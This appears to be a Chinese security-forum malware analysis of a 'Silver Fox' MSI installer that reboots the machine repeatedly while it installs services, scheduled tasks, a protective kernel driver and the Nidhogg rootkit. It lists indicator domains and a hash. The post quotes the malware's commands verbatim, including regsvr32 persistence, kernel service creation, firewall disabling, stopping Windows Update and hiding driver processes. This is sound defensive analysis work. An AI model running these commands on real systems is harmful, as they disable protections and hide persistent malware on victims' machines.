首页
社区
课程
招聘
[原创]重启型msi银狐分析
发表于: 2025-3-8 13:54 2269

[原创]重启型msi银狐分析

2025-3-8 13:54
2269

银狐经过不断迭代,免杀、混淆越做越强,给分析过程不断增加难度,最近几个月,这种msi的银狐安装包,非常流行,特点是点击安装后不断重启,已达到免杀目的。

简要分析了银狐该变种的启动加载流程

1.第一阶段

该阶段,主要是msi解压,释放安装文件(file.dat),执行msi的CustumAction(hrsv.tac),可以发现实际是一个dll,代码被虚拟机保护,有两个导出函数,最终发现两个函数逻辑一致。
图片描述
图片描述
hrsv会启动以下线程,1和4会根据CleverSoarInst、CleverSoar服务的状态,做出相应动作
No1.主线程
判断是否存在CleverSoar服务,本阶段不存在,则将file.dat解密为7z数据格式,写入res.dat,然后创建task.xml

No2.工作线程
负责反调试,循环调用IsDebuggerPresent,CheckRemoteDebuggerPresent
No3.工作线程
循环调用GetSystemMetrics
No4.工作线程
判断名称为CleverSoar和CleverSoarInst的服务是否存在
本阶段均不存在,RPC调用services.exe的第C号方法,传入以下命令行,创建CleverSoarInst服务

1
cmd.exe /c start /B "" C:\Windows\System32\regsvr32.exe "C:\Program Files (x86)\Windows NT\hrsv.tac"

rpc原理见https://bbs.kanxue.com/thread-285258.htm
然后调用ZwInitiatePowerAction函数重启

第一阶段完成后,目录如下
图片描述

2.第二阶段

重启后hrsv再次被执行
No1.主线程
判断是否存在CleverSoar服务,本阶段不存在,则将file.dat解密为7z数据格式,写入res.dat,创建task.xml

No4.工作线程
判断是否存在CleverSoar服务和CleverSoarInst服务,本阶段CleverSoarInst存在,CleverSoar不存在,执行以下逻辑
解出7zx.exe
RPC调用services.exe的第C号方法,分别执行删除CleverSoarInst服务,创建名为turminoob的计划任务,编辑注册表,创建CleverSoar服务,命令行:

1
2
3
cmd /c start sc delete CleverSoarInst
cmd /c start schtasks /create /tn turminoob /xml "C:\Program Files (x86)\Windows NT\task.xml"
sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto

创建完CleverSoar服务后,hrsv解压res.dat
图片描述
将.bin文件解密为.dat文件,再解压local3.dat为tProtect.dll
随后RPC调用services.exe的第C号方法,重启,

1
cmd /c shutdown -f -r -t 00

hrsv自身也有重启逻辑,二阶段完成后,目录如下
图片描述

3.第三阶段

重启后hrsv执行
No1.主线程
判断是否存在CleverSoar服务,本阶段存在,RPC调用services.exe的第C号方法,传入命令行,start CleverSoar服务,并创建turminoob计划任务,修改注册表
No4.工作线程
判断存在CleverSoar服务,本阶段存在,执行

创建三环\.\TfSysMon文件,创建线程和tProtect服务通信,tProtect主要负责加系统钩子,创建进程、创建线程、Image加载、CmpCallback监控注册表,关闭杀软、调试器,且关闭后无法启动

解压locale.dat、locale2.dat为恶意可执行文件winnt.exe、runtime.exe

执行两个恶意程序

1
cmd.exe /q /c SCHTASKS /Create /F /TN \PayloadTask+locale后面数字 /RU orange /RL HIGHEST /SC ONCE /ST 00:00 /TR "C:\\Program Files (x86)\\Windows NT\\解压后程序名.exe"" & SCHTASKS /Run /TN \PayloadTask+locale后面数字 & schtasks /Delete /TN \PayloadTask+locale后面数字 /F

关闭防火墙

1
2
3
netsh advfirewall set allprofiles state off
netsh firewall set opmode mode=disable profile=ALL
netsh firewall set opmode mode=disable

关闭wuauserv,取消windows更新

1
2
net stop wuauserv
sc config wuauserv start= disabled

如果是win10,执行恶意程序后,解压缩locale4.dat 为curl.dll(驱动),locale7.dat为hotdog.exe 并将dll建立内核服务,执行保护线程

1
sc create Nidhogg displayname= Nidhogg binPath= "C:\Program Files (x86)\Windows NT\curl.dll" type= kernel start= auto

保护线程利用hotdog和curl,实际上就是Nidhog的客户端和驱动,实现进程隐藏

1
2
3
cmd.exe /q /c start /B hotdog.exe process add regsvr32 PID
cmd.exe /q /c start /B hotdog.exe driver hide "C:\Program Files (x86)\Windows NT\curl.dll"
cmd.exe /q /c start /B hotdog.exe driver hide "C:\Program Files (x86)\Windows NT\tProtect.dll"

No5.工作线程
循环遍历目录,设置文件属性为隐藏
最终目录如下
图片描述

winnt.exe 包含恶意域名qq.qiubai7770.com
runtime.exe 包含恶意域名8005.twilight.zip

msi sha1 6c6e1b0736ff4e5cdc944fcb5e94e7ce0ab71645
来源卡饭


[培训]科锐逆向工程师培训第53期2025年7月8日开班!

最后于 2025-3-8 14:03 被mb_jonavsjj编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回